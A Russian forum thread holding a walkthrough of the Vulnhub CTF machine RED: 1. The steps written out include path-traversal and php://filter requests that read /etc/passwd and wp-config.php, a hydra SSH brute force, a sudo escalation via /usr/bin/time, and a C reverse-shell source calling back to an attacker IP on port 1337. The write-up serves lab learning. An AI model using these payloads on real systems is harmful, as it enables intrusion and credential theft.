ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   Writeup RED: 1 Vulnhub - Отбиваем систему у психопата (https://forum.antichat.xyz/showthread.php?t=1639130)

INPC 17.12.2021 04:12

Приветствую!

Представляю вашему вниманию прохождение относительно новой машины (27 Oct 2021) с Vulnhub - RED: 1

Исходные данные следующие:
Дана машина Ubuntu, которую взломал маньяк-психопат Red. Наша задача - захватить её обратно (т.е. получить права пользователя root. Делать мы это будем, как обычно с Kali Linux.
Ну, начнем пожалуй.

Узнаём ip адрес атакуемой машины командой:

Код:

~$ sudo netdiscover
У меня ip нужной машины =
Код:

192.168.3.156
.
Теперь просканируем машину nmap'oм:

Код:

~$ nmap -A -p- -v 192.168.3.156
https://forum.antichat.xyz/attachmen...9693552147.png

Видим открытые порты 22 и 80, ssh и seb-server соответственно. Так же, сразу видно что сайт создан на wordpress, версии 5.8.1, версию web-сервера apache (2.4.41) и заголовок, сообщающий нам, что сайт взломан.
Перейдя на сайт, видим, что он плохо прогрузился и заглянув в исходники, становится ясно, почему - нужно добавить домен в файл hosts:

Код:

~$ cat "192.168.3.156  redrocks.win" >> /etc/hosts
Снова переходим на сайт (http://redrocks.win) и в этот раз, видим, что повсюду надписи, гласящие, что сайт взломан.
Перебор директорий сайта ничего не дал, wpscan и другие сканеры (такие, как XAttacker и nikto) тоже ничего полезного не выявили, однако просматривая источники нашлись интересные ссылки (на самом деле, я уже просто просматривал все подряд):

Код:

http://redrocks.win/wp-json/
и

Код:

http://redrocks.win/feed/
https://forum.antichat.xyz/attachmen...9694692354.png

https://forum.antichat.xyz/attachmen...9694730738.png

Еще я попробовал экслоит CVE-2017-5487 и добыл имя пользователя wordpress:

https://forum.antichat.xyz/attachmen...9695083973.png

Тоже самое видно, если перейти на:

Код:

http://redrocks.win/wp-json/wp/v2/users/1
https://forum.antichat.xyz/attachmen...9695165381.png

Перебор id пользователей ничего не дает, видимо это тупиковое направление. Но у нас есть еще одна интересная ссылка
Код:

http://redrocks.win/feed/
, перейдя по которой скачивается файл с исходником какой-то страницы, в котором содержится язвительный комментарий с подсказкой:

https://forum.antichat.xyz/attachmen...9695430364.png

Обыскав весь сайт и даже попробовав побрутфорсить пароль к админке, пришлось присмотреться к подсказке повнимательнее:

Код:


Слова "Looking For It" и "ask Mr. Miessler" выглядят подозрительно. аббревиатура 1-го - LFI, похоже это намек. Вбив в гугл "Mr. Miessler LFI" был найден репозиторий GitHub - danielmiessler/SecLists: SecLists is the security tester's companion. It's a collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, passwords, URLs, sensitive data patterns, fuzzing payloads, web shells, and many more. и из него же, долгими ковыряниями SecLists/CommonBackdoors-PHP.fuzz.txt at master · danielmiessler/SecLists

Чуток поразбиравшись, что тут для чего, догадываемся, что надо попытаться профаззить сайт со словарем CommonBackdoors-PHP.fuzz.txt

Код:

~$ gobuster dir -w CommonBackdoors-PHP.fuzz.txt -x .php -u http://redrocks.win/ -o dir.txt
В результате получаем вывод:
Цитата:


NetworkFileManagerPHP.php


https://forum.antichat.xyz/attachmen...9696154702.png

Перейдя видим пустую страницу, эксперемент с запросами ничего не дал, поэтому идем в гугл с вопросом: "NetworkFileManagerPHP.php backdoor". И сразу же находится репозиторий

https://github.com/BlackArch/webshells/blob/master/php/NetworkFileManagerPHP.php

Время использовать wfuzz:

Код:

~$ wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/wfuzz/wordlist/general/big.txt
https://forum.antichat.xyz/attachmen...9696637863.png

Код:

~$ wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/wfuzz/wordlist/general/big.txt --hh 00
https://forum.antichat.xyz/attachmen...9696710910.png

Вот мы и получили нужный параметр (key), который мы и будем использовать, например прочитаем файл /etc/passwd:

Код:

http://redrocks.win/NetworkFileManagerPHP.php?key=../../../../../../../../etc/passwd
https://forum.antichat.xyz/attachmen...9696865436.png

Сразу же видим имена 3-х пользователей, кроме рута: john, ippsec и oxdf, возьмем их на заметку.
Сразу же стоит глянуть конфиг вордпресса. Для этого пошлем запрос
Код:

http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=wp-config.php
а в ответ получим закодированный в base64 wp-config.php
расшифровываем base64 и просматривая страницу видим логин и пароль:
Цитата:


john::R3v_m4lwh3r3_k1nG!!


https://forum.antichat.xyz/attachmen...9697128253.png

https://forum.antichat.xyz/attachmen...9697158170.png

https://forum.antichat.xyz/attachmen...9697185266.png

НО! ssh данный пароль не принимает. Обидно!
Долго ползая дальше по сайту, я наконец-то догадался просмотреть код самой страницы шелла:

Код:

http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=NetworkFileManagerPHP.php
В ответ так же, как и в прошлый раз приходит код страницы, в котором есть еще одна подсказка:
Цитата:


That password alone won't help you! Hashcat says rules are rules


Цитата:


Один только этот пароль вам не поможет! Hashcat говорит, что правила есть правила


Что-то странное, снова топаем в поисковик, про "Hashcat rules", сразу же нагугливается best64.rule и почитав описание используем hashcat следующим образом:

Код:

~$ hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule
https://forum.antichat.xyz/attachmen...9697602335.png

Получаем вывод возможных паролей и пробрутив их через гидру получаем сам пароль:

Код:

~$ hydra -l john -P passwd.txt 192.168.3.156 ssh
Цитата:


[22][ssh] host: 192.168.3.156 login: john password: R3v_m4lwh3r3_k1nG!!21


https://forum.antichat.xyz/attachmen...9697700163.png

И тут становится понятно, что машиной завладел какой-то особо опасный маньяк-психопат. Раз в минуту приходят стебные сообщения от Red'a, cat заменен на страшный vim, пароль от учетки постоянно меняются, а нас периодически выкидывает из сесси. Просто содомия какая-то. Полазив по целевой машине минут 7, я уже хотел бросить это дело, но все-таки решил, что надо добить её, назло создателю...
Просмотрев файлы в каталоге пользователя видно некий
Код:

note_from_red.txt
, в котором только издевка:
Цитата:


Having a little trouble with the cat command blue?


Первым делом проверим, что можно сделать из-под sudo:

Код:

john@red:~$ sudo -l
(ippsec) NOPASSWD: /usr/bin/time

https://forum.antichat.xyz/attachmen...9698158670.png

О, это просто, повышаем привелегии:

Код:

john@red:~$ sudo -u ippsec /usr/bin/time /bin/bash
https://forum.antichat.xyz/attachmen...9698175707.png

Отлично, просмотрев, что за файлы есть в директории пользователя ippsec, видим наш флаг user.txt. Вот только - это обманка, там опять стеб:
Цитата:


Come on now Blue! You really think it would be that easy to get the user flag? You are not even on the right user! Hahaha


https://forum.antichat.xyz/attachmen...9698347610.png

Спустя много попыток и нервов (помним про все пакости реда), просматривая к чему у пользователя ippsec есть доступ:

Код:

john@red:~$ find / -group ippsec -type d 2> /dev/null
Видим гит:

Код:

/var/www/wordpress/.git
https://forum.antichat.xyz/attachmen...9698458101.png

Это неспроста! Идем смотреть и видим 2 файла:
Цитата:


rev и supersecretfileuc.c


https://forum.antichat.xyz/attachmen...9698576606.png

supersecretfileuc.c
#include
#include
#include
#include
#include
#include
void
main
(
)
{
int
port
=
1337
;
struct
sockaddr_in
revsockaddr
;
int
sock
=
socket
(
AF_INET
,
SOC_STREAM
,
0
)
;
revsockaddr
.
sin_family
=
AF_INET
;
revsockaddr
.
sin_port
=
htons
(
port
)
;
revsockaddr
.
sin_addr
.
s_addr
=
inet_addr
(
"192.168.3.111"
)
;
// IP основной машины
connect
(
sock
,
(
struct
sockaddr
*
)
&
revsockaddr
,
sizeof
(
revsockaddr
)
)
;
dup2
(
sock
,
0
)
;
dup2
(
sock
,
1
)
;
dup2
(
sock
,
2
)
;
char
*
const
argv
[
]
=
{
"/bin/sh"
,
NULL
}
;
execve
(
"/bin/sh"
,
argv
,
NULL
)
;
return
0
;
}
[/CODE]

https://forum.antichat.xyz/attachmen...9698817639.png

Запускаем прослушиватель на основной машине командой:

Код:

~$ nc -lnvp 1337
И через пару минут получаем шел рута

https://forum.antichat.xyz/attachmen...9698889020.png

Он не очень удобный, поэтому следует создать полноценный терминал командой:

Код:

~$ python3 -c 'import pty;pty.spawn("/bin/bash")'
Вот и все МЫ ЕСТЬ РУТ!
Идем смотреть наши флаги:

https://forum.antichat.xyz/attachmen...9699011444.png

https://forum.antichat.xyz/attachmen...9699026529.png

А они все равно фейковые)

Ну что ж, вот и подошел к концу разбор очередной коробки, на самом деле это было довольно не приятно, данная статья просто не может выразить все эмоции, от того, как сильно эта машина бесила и сколько нервов съела.
*напоминаю*
Цитата:


Раз в минуту приходят стебные сообщения от Red'a, cat заменен на страшный vim, пароли от учетки постоянно меняются, а нас периодически (раз в пару минут) выкидывает из сесси


Спасибо всем, кто дочитал этот врайтап. Надеюсь было интересно.
P.S. Я думаю написать еще отдельно статью о том, как сделать подобную подлянку и как её исправить, если её подложили вам, но это точно будет позже, пишите, кстати, если все-таки интересно как же это сделать)

Qulan 17.12.2021 12:26

Не решал, но как по мне, достаточно интереснаяя коробка.
Кстати, если по сценарию у нас есть инфа что хост уже был взломан, то я бы сразу фазил на предмет бекдора)) Мне кажется это очень логичным решением. Ну и если бы не вышло, то топал бы уже как есть)))
Пиши еще

Maza 16.02.2022 18:32

Эта тачка очень напоминает машинку Trool , тоже было весело и тоже потрепала нервы))


Время: 20:19